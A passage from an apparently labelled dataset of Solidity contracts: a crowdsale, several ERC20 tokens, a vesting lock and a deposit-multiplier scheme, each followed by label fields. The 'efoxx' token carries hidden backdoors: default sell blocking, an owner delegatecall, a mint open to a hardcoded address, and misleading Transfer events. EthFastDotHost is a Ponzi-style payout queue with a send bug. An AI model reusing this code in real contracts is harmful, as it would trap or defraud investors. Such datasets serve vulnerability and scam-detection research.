uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract EthTranchePricing is PricingStrategy, Ownable {
using SafeMathLib for uint;
uint public constant MAX_TRANCHES = 10;
mapping (address => uint) public preicoAddresses;
struct Tranche {
uint amount;
uint price;
}
Tranche[10] public tranches;
uint public trancheCount;
function EthTranchePricing(uint[] _tranches) {
if(_tranches.length % 2 == 1 || _tranches.length >= MAX_TRANCHES*2) {
throw;
}
trancheCount = _tranches.length / 2;
uint highestAmount = 0;
for(uint i=0; i<_tranches.length/2; i++) {
tranches[i].amount = _tranches[i*2];
tranches[i].price = _tranches[i*2+1];
if((highestAmount != 0) && (tranches[i].amount <= highestAmount)) {
throw;
}
highestAmount = tranches[i].amount;
}
if(tranches[0].amount != 0) {
throw;
}
if(tranches[trancheCount-1].price != 0) {
throw;
}
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getTranche(uint n) public constant returns (uint, uint) {
return (tranches[n].amount, tranches[n].price);
}
function getFirstTranche() private constant returns (Tranche) {
return tranches[0];
}
function getLastTranche() private constant returns (Tranche) {
return tranches[trancheCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstTranche().amount;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastTranche().amount;
}
function isSane(address _crowdsale) public constant returns(bool) {
return true;
}
function getCurrentTranche(uint weiRaised) private constant returns (Tranche) {
uint i;
for(i=0; i < tranches.length; i++) {
if(weiRaised < tranches[i].amount) {
return tranches[i-1];
}
}
}
function getCurrentPrice(uint weiRaised) public constant returns (uint result) {
return getCurrentTranche(weiRaised).price;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
if(preicoAddresses[purchaser] > 0)
return true;
else
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return value.times(multiplier) / preicoAddresses[msgSender];
}
uint price = getCurrentPrice(weiRaised);
return value.times(multiplier) / price;
}
function() payable {
throw;
}
} | 1 | 2,682 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract efoxx {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,640 |
pragma solidity ^0.4.25;
contract EthFastDotHost {
uint constant MINIMAL_DEPOSIT = 0.01 ether;
uint constant MAX_DEPOSIT = 7 ether;
uint constant JACKPOT_MINIMAL_DEPOSIT = 0.05 ether;
uint constant JACKPOT_DURATION = 20 minutes;
uint constant JACKPOT_PERCENTAGE = 500;
uint constant PROMOTION_PERCENTAGE = 325;
uint constant PAYROLL_PERCENTAGE = 175;
uint constant MAX_GAS_PRICE = 50;
address constant MANAGER = 0x490429e7C4C343B3B069c30625404888Bcc8Eb7b;
address constant SUPPORT_AND_PROMOTION_FUND = 0x490429e7C4C343B3B069c30625404888Bcc8Eb7b;
struct Deposit {
address member;
uint amount;
}
struct Jackpot {
address lastMember;
uint time;
uint amount;
}
Deposit[] public deposits;
Jackpot public jackpot;
uint public totalInvested;
uint public currentIndex;
uint public startBlockNumber;
function () public payable {
require(isRunning());
require(tx.gasprice <= MAX_GAS_PRICE * 1000000000);
address member = msg.sender;
uint amount = msg.value;
if (now - jackpot.time >= JACKPOT_DURATION && jackpot.time > 0) {
send(member, amount);
if (!payouts()) {
return;
}
send(jackpot.lastMember, jackpot.amount);
startBlockNumber = 0;
return;
}
require(amount >= MINIMAL_DEPOSIT && amount <= MAX_DEPOSIT);
if (amount >= JACKPOT_MINIMAL_DEPOSIT) {
jackpot.lastMember = member;
jackpot.time = now;
}
deposits.push( Deposit(member, amount * calcMultiplier() / 100) );
totalInvested += amount;
jackpot.amount += amount * JACKPOT_PERCENTAGE / 10000;
send(SUPPORT_AND_PROMOTION_FUND, amount * (PROMOTION_PERCENTAGE + PAYROLL_PERCENTAGE) / 10000);
payouts();
}
function payouts() internal returns(bool complete) {
uint balance = address(this).balance;
balance = balance >= jackpot.amount ? balance - jackpot.amount : 0;
uint countPayouts;
for (uint i = currentIndex; i < deposits.length; i++) {
Deposit storage deposit = deposits[currentIndex];
if (balance >= deposit.amount) {
send(deposit.member, deposit.amount);
balance -= deposit.amount;
delete deposits[currentIndex];
currentIndex++;
countPayouts++;
if (countPayouts >= 15) {
break;
}
} else {
send(deposit.member, balance);
deposit.amount -= balance;
complete = true;
break;
}
}
}
function send(address _receiver, uint _amount) internal {
if (_amount > 0 && address(_receiver) != 0) {
_receiver.transfer(msg.value);
}
}
function restart(uint _blockNumber) public {
require(MANAGER == msg.sender);
require(!isRunning());
require(_blockNumber >= block.number);
currentIndex = deposits.length;
startBlockNumber = _blockNumber;
totalInvested = 0;
delete jackpot;
}
function isStopped() public view returns(bool) {
return startBlockNumber == 0;
}
function isWaiting() public view returns(bool) {
return startBlockNumber > block.number;
}
function isRunning() public view returns(bool) {
return !isWaiting() && !isStopped();
}
function calcMultiplier() public view returns (uint) {
if (totalInvested <= 75 ether) return 120;
if (totalInvested <= 200 ether) return 130;
if (totalInvested <= 350 ether) return 135;
return 140;
}
function depositsOfMember(address _member) public view returns(uint[] amounts, uint[] places) {
uint count;
for (uint i = currentIndex; i < deposits.length; i++) {
if (deposits[i].member == _member) {
count++;
}
}
amounts = new uint[](count);
places = new uint[](count);
uint id;
for (i = currentIndex; i < deposits.length; i++) {
if (deposits[i].member == _member) {
amounts[id] = deposits[i].amount;
places[id] = i - currentIndex + 1;
id++;
}
}
}
function stats() public view returns(
string status,
uint timestamp,
uint blockStart,
uint timeJackpot,
uint queueLength,
uint invested,
uint multiplier,
uint jackpotAmount,
address jackpotMember
) {
if (isStopped()) {
status = "stopped";
} else if (isWaiting()) {
status = "waiting";
} else {
status = "running";
}
if (isWaiting()) {
blockStart = startBlockNumber - block.number;
}
if (now - jackpot.time < JACKPOT_DURATION) {
timeJackpot = JACKPOT_DURATION - (now - jackpot.time);
}
timestamp = now;
queueLength = deposits.length - currentIndex;
invested = totalInvested;
jackpotAmount = jackpot.amount;
jackpotMember = jackpot.lastMember;
multiplier = calcMultiplier();
}
} | 0 | 1,290 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ERC20Basic is Ownable {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 public constant START = 1521371400;
function isActive() constant returns (bool) {
return (
now >= START
);
}
modifier whenSaleIsActive() {
assert(isActive());
_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(now > 1526382000 || msg.sender == owner);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenSaleIsActive public returns (bool) {
require(now > 1526382000 || msg.sender == owner);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract DigitalTicks is StandardToken {
string public constant name = "DigitalTicks";
string public constant symbol = "DTX";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 128000000 * 10**18;
function DigitalTicks() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 3,681 |
pragma solidity ^0.4.21;
contract Owned {
address public owner;
address internal newOwner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event updateOwner(address _oldOwner, address _newOwner);
function changeOwner(address _newOwner) public onlyOwner returns(bool) {
require(owner != _newOwner);
newOwner = _newOwner;
return true;
}
function acceptNewOwner() public returns(bool) {
require(msg.sender == newOwner);
emit updateOwner(owner, newOwner);
owner = newOwner;
return true;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token {
uint256 internal _totalSupply;
mapping (address => uint256) public balances;
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Controlled is Owned {
using SafeMath for uint;
uint256 oneMonth = 3600 * 24 * 30;
uint256 public releaseStartTime = 1527910441;
bool public emergencyStop = false;
uint256 internal _lockValue;
event reportCalc(address _user,uint transferValue,uint256 releaseValue);
struct userToken {
uint256 OCE;
uint256 addrLockType;
}
mapping (address => userToken) userReleaseToken;
modifier canTransfer {
require(emergencyStop == false);
_;
}
function setTransferOCE(bool _bool) public onlyOwner{
emergencyStop = !_bool;
}
function setRealseTime(uint256 _time) public onlyOwner {
releaseStartTime = _time;
}
modifier releaseTokenValid(address _user, uint256 _value) {
uint256 _lockTypeIndex = userReleaseToken[_user].addrLockType;
if(_lockTypeIndex != 0) {
uint256 lockValue = userReleaseToken[_user].OCE.sub(calcReleaseToken(_user));
emit reportCalc(_user,_value,lockValue);
require (_value >= lockValue);
}
_;
}
function getLockBalance(address _user) constant public returns (uint256)
{
_lockValue = 0;
uint256 _lockTypeIndex = userReleaseToken[_user].addrLockType;
if(_lockTypeIndex != 0) {
_lockValue = userReleaseToken[_user].OCE.sub(calcReleaseToken(_user));
emit reportCalc(_user,_lockTypeIndex,_lockValue);
}
return _lockValue;
}
function calcReleaseToken(address _user) internal view returns (uint256) {
uint256 _lockTypeIndex = userReleaseToken[_user].addrLockType;
uint256 _timeDifference = now.sub(releaseStartTime);
uint256 _whichPeriod = getPeriod(_lockTypeIndex, _timeDifference);
if(_lockTypeIndex == 1) {
return (percent(userReleaseToken[_user].OCE, 25).add( percent(userReleaseToken[_user].OCE, _whichPeriod.mul(25))));
}
if(_lockTypeIndex == 2) {
return (percent(userReleaseToken[_user].OCE, 10).add(percent(userReleaseToken[_user].OCE, _whichPeriod.mul(25))));
}
if(_lockTypeIndex == 3) {
return (percent(userReleaseToken[_user].OCE, 25).add(percent(userReleaseToken[_user].OCE, _whichPeriod.mul(15))));
}
revert();
}
function getPeriod(uint256 _lockTypeIndex, uint256 _timeDifference) internal view returns (uint256) {
if(_lockTypeIndex == 1) {
uint256 _period2 = _timeDifference.div(oneMonth);
if(_period2 >= 3){
_period2 = 3;
}
return _period2;
}
if(_lockTypeIndex == 2) {
uint256 _period3 = _timeDifference.div(oneMonth);
if(_period3 >= 6){
_period3 = 6;
}
return _period3;
}
if(_lockTypeIndex == 3) {
uint256 _period1 = (_timeDifference.div(oneMonth)).div(12);
if(_period1 >= 3){
_period1 = 3;
}
return _period1;
}
revert();
}
function percent(uint _token, uint _percentage) internal pure returns (uint) {
return _percentage.mul(_token).div(100);
}
}
contract standardToken is ERC20Token, Controlled {
mapping (address => mapping (address => uint256)) internal allowed;
function totalSupply() constant public returns (uint256 ){
return _totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(
address _to,
uint256 _value)
public
canTransfer
releaseTokenValid(msg.sender, balances[msg.sender].sub(_value))
returns (bool)
{
require (balances[msg.sender] >= _value);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
